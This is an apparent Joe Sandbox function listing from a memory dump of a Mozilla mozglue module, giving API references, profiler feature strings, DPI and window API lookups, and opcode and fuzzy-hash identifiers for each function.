Instruction ID: 0a44c6b71bc6d81172e5d8b5464c44ed21be187e0a933f33324202efec133954
Opcode Fuzzy Hash: 52e769cf28af036d1ec7d7836d7cf48392e2f97b054192c471aff567a998c049
Instruction Fuzzy Hash: C591AD7060C7C08FC724CF24C4946AEB7E1EF89258F14891DE99A8BB95DB30D949DB53

Function 6CB59E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB59F3D
__aulldiv.LIBCMT ref: 6CB59F77
__aullrem.LIBCMT ref: 6CB59F8C
__aulldiv.LIBCMT ref: 6CB5A023

Strings

-Infinity, xrefs: 6CB59E60, 6CB59E7B
NaN, xrefs: 6CB59EAB

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 12f3837a3906b36229d89415e35e8f45ac7c33a5fc638f7bf868bdcc230e70c3
Instruction ID: fffdc806da42451c9305be0f9a0de3f7b334d89d03bb484d45b772882a460b4d
Opcode Fuzzy Hash: 12f3837a3906b36229d89415e35e8f45ac7c33a5fc638f7bf868bdcc230e70c3
Instruction Fuzzy Hash: 06C1B171E003988BDB14CFA8C8507AEB7BAEF85704F944529D415BBB80D771A94ACFA1

Function 6CAFD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6CAFDAF6
1, xrefs: 6CAFDBDD
0, xrefs: 6CAFDC7F
-, xrefs: 6CAFD7DD
8, xrefs: 6CAFDC08
0, xrefs: 6CAFD852
9, xrefs: 6CAFDE7F
, xrefs: 6CAFDA88

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 372d22933f0a60a59374adbaf560be155221ca754eaa173ed338bd53a5b33ecf
Instruction ID: 49d44c017ddfb1e061a3c50498ccef79d53eec574005f7cf6113154c581316b8
Opcode Fuzzy Hash: 372d22933f0a60a59374adbaf560be155221ca754eaa173ed338bd53a5b33ecf
Instruction Fuzzy Hash: 3A628871A0D3858FD712CE29C49075ABBF2AF86358F184A1DF4F54BA91C33599C6CB82

Function 6CAFBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAFC1CB
__aulldiv.LIBCMT ref: 6CAFC24C
__aulldiv.LIBCMT ref: 6CAFC348
__aullrem.LIBCMT ref: 6CAFC365
__aulldiv.LIBCMT ref: 6CAFC37D

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 7e28db52f487a8ff167dd205a6d89d9766a3ccc83b670d3f7abb5f330ad67242
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 46323632B046118FC718DE2DC89065ABBE6AFC9354F09876DE4A5CB395D734ED06CB90

Function 6CB6545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB68A4B

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 76a954f3cfeb3331df872f5de8df303c845e2395b058332f755d3cf93e5bf889
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 53B1FA72E0115ACFDB24CF69CC907E9B7B2EF85314F1802A9C449DBB85D7309999CB91

Function 6CB6542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB688F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB6925C

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 7a653fa483154b0eb44587264dfd6fed0c11f05ee347a56885fec97e491d56f0
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 07B1C672E0114ACFDB14CF69CC816EDB7B2EF85314F180269C949DBB85D731A999CB90

Function 6CB36CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB36D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB36E1E

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 1fdbd18018a2facdc2833383c6749b0780c1d8e77cade46dff78e24346675359
Instruction ID: ed1bec3e26da5554f87f1b8660eb1602c38768c05783a148bfb3523d4a0febdb
Opcode Fuzzy Hash: 1fdbd18018a2facdc2833383c6749b0780c1d8e77cade46dff78e24346675359
Instruction Fuzzy Hash: 64A17D746183948FDB15CF24C4907AEBBF2FF89308F55991DE88A87751DB70A848CB92

Function 6CB585F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB58C7C
__aulldiv.LIBCMT ref: 6CB58DD7

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: b2287b9574ca2659c68682e94c4b3e216fb9d33105dd63faa7c46b3849503c83
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: BF32AF71F502598BDF18CE9CC8A17AEF7B2FB88300F55813AD50ABB790DA359D418B91

Function 6CB35C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CB04A63,?,?), ref: 6CB35F06

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: cf6e43186674d604412f60ac96097a0bdfd70269a3234044c1870d19d010460f
Instruction ID: fca7e40fbccefe13d867e4a3fde08ea04bb9f06bbc952249301727ce913b9bf4
Opcode Fuzzy Hash: cf6e43186674d604412f60ac96097a0bdfd70269a3234044c1870d19d010460f
Instruction Fuzzy Hash: 3DC1E275D002A98BCF04CF94C5906EEBBF2FF89318F28515DC8596BB44D732A90ACB94

Function 6CB676E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 721c2d6815b45ed6937e387229ee0b329e08fd6dc059700b7fe5b32943a30a35
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 8832F871E006598FCB14CF99C890AADFBB2FF88304F6481A9C549A7B45D771AD86CF90

Function 6CB66E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 37ae0e9cde2bcadf79ab8dd0a95d6134306de2bdac76571f2d1552892fe29888
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: A422F871E002598FCB14CF99C880AADF7F2FF89304F6485A9C949A7B45D771A986CF90

Function 6CB20512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 17be1deea431cb61d7b4fe2b0abd46367906702ecd5fe4b08f0fecfdae355737
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: A1221671E04659CFCB14CF98C890AADF7B2FF88304F588699D44AA7705D735A986CF80

Function 6CB6AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bf9eff1633988f1715868359c74b7eed92ae83a49f622d5d89998fc13ac914c
Instruction ID: 78b14bfc6acfffcf2e4354d8d562dc381a48df5805cf6dd35b2f3f20f604c53a
Opcode Fuzzy Hash: 1bf9eff1633988f1715868359c74b7eed92ae83a49f622d5d89998fc13ac914c
Instruction Fuzzy Hash: B4F127716083A55FDF00CE29C8903AEB7E6EFC5318F148A2DE5D587B81E77498458B93

Function 6CAFC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: aaf67a131a640152cdc00e344ff6b3e68bec7077d4e2d33dff7f6e68cef8caf1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 7CA1B371F0021A8FDB18CE69C8913AEB7F2AFC8358F188129E925E7781D7345C468BD0

Function 6CB555F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CB2E1A5), ref: 6CB55606
LoadLibraryW.KERNEL32(gdi32,?,6CB2E1A5), ref: 6CB5560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB55633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB5563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB5566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB5567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB55696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB556B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB556CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB556E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB556FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB55716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB5572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB55748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB55761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB5577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB55793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB557A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB557BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB557D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB557EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB557FF

Strings

DeleteObject, xrefs: 6CB557F9
GetSystemMetricsForDpi, xrefs: 6CB55677
ShowWindow, xrefs: 6CB556DE
LoadCursorW, xrefs: 6CB55774
ReleaseDC, xrefs: 6CB55742
SetWindowPos, xrefs: 6CB556F7
StretchDIBits, xrefs: 6CB557CC
EnableNonClientDpiScaling, xrefs: 6CB55666
LoadIconW, xrefs: 6CB5575B
SetWindowLongPtrW, xrefs: 6CB557B7
CreateWindowExW, xrefs: 6CB556C5
gdi32, xrefs: 6CB5560A
GetWindowDC, xrefs: 6CB55710
GetDpiForWindow, xrefs: 6CB55690
user32, xrefs: 6CB55601
FillRect, xrefs: 6CB55729
AreDpiAwarenessContextsEqual, xrefs: 6CB55637
RegisterClassW, xrefs: 6CB556AC
GetMonitorInfoW, xrefs: 6CB557A2
CreateSolidBrush, xrefs: 6CB557E4
MonitorFromWindow, xrefs: 6CB5578D
GetThreadDpiAwarenessContext, xrefs: 6CB5562D

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: a04cae52c6398616e931fb267341cfea7db27b8625df384b780df75f3c1a7268
Instruction ID: 11abe6032861d47b60b3d3fa9d957ed24b0e5ca5dd3926aa8dfb2d49c599aaa5
Opcode Fuzzy Hash: a04cae52c6398616e931fb267341cfea7db27b8625df384b780df75f3c1a7268
Instruction Fuzzy Hash: 6D5153746117A25BDB029F35CD5492A3BFCEB0625B7504829ED22E3B41EB70CC148F79

Function 6CB3CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CB0582D), ref: 6CB3CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CB0582D), ref: 6CB3CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB6FE98,?,?,?,?,?,6CB0582D), ref: 6CB3CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CB0582D), ref: 6CB3CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CB0582D), ref: 6CB3CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CB0582D), ref: 6CB3CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB0582D), ref: 6CB3CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CB3CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CB3CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CB3CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CB3CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CB3CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CB3CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CB3CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CB3CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CB3CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CB3CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CB3CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CB3CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CB3CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CB3CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CB3CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CB3CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CB3CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CB3CE8A

Strings

ipcmessages, xrefs: 6CB3CDBE
fileioall, xrefs: 6CB3CCA8
audiocallbacktracing, xrefs: 6CB3CDD4
mainthreadio, xrefs: 6CB3CC7C
leaf, xrefs: 6CB3CC66
noiostacks, xrefs: 6CB3CCBE
jsallocations, xrefs: 6CB3CD0E
markersallthreads, xrefs: 6CB3CE42
seqstyle, xrefs: 6CB3CCE6
processcpu, xrefs: 6CB3CE6E
notimerresolutionchange, xrefs: 6CB3CE00
samplingallthreads, xrefs: 6CB3CE2C
nostacksampling, xrefs: 6CB3CD7C
unregisteredthreads, xrefs: 6CB3CE58
screenshots, xrefs: 6CB3CCD4
Unrecognized feature "%s"., xrefs: 6CB3CEA0
default, xrefs: 6CB3CC21
stackwalk, xrefs: 6CB3CCF8
nativeallocations, xrefs: 6CB3CDA8
java, xrefs: 6CB3CC37
fileio, xrefs: 6CB3CC92
preferencereads, xrefs: 6CB3CD92
cpuallthreads, xrefs: 6CB3CE16
power, xrefs: 6CB3CE84

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 8dac4cae17123366b9c3b54e40d22192e97d70b6a5b13cb8f93479c05651eabe
Instruction ID: dee8b11fa2e41ca51cc319409c41e5d7bcfca2390f8da3b9b6e923a39debf0f0
Opcode Fuzzy Hash: 8dac4cae17123366b9c3b54e40d22192e97d70b6a5b13cb8f93479c05651eabe
Instruction Fuzzy Hash: 4151B8C59452F522FE0235A6AD10BAF3405EB5325AF106237FD1EE3E80FF15A60986B7

Function 6CB04470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB04730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CB044B2,6CB7E21C,6CB7F7F8), ref: 6CB0473E
Part of subcall function 6CB04730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CB0474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CB044BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CB044D2
InitOnceExecuteOnce.KERNEL32(6CB7F80C,6CAFF240,?,?), ref: 6CB0451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB0455C
LoadLibraryW.KERNEL32(?), ref: 6CB04592
InitializeCriticalSection.KERNEL32(6CB7F770), ref: 6CB045A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CB045AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CB045BB
InitOnceExecuteOnce.KERNEL32(6CB7F818,6CAFF240,?,?), ref: 6CB04612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CB04636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CB04644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CB0466D
VerSetConditionMask.NTDLL ref: 6CB0469F
VerSetConditionMask.NTDLL ref: 6CB046AB
VerSetConditionMask.NTDLL ref: 6CB046B2
VerSetConditionMask.NTDLL ref: 6CB046B9
VerSetConditionMask.NTDLL ref: 6CB046C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CB046CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CB046F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CB046FD

Strings

kernel32.dll, xrefs: 6CB044CD
user32.dll, xrefs: 6CB04557, 6CB0463F
WRusr.dll, xrefs: 6CB044B5
NativeNtBlockSet_Write, xrefs: 6CB046F7
l, xrefs: 6CB04578

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

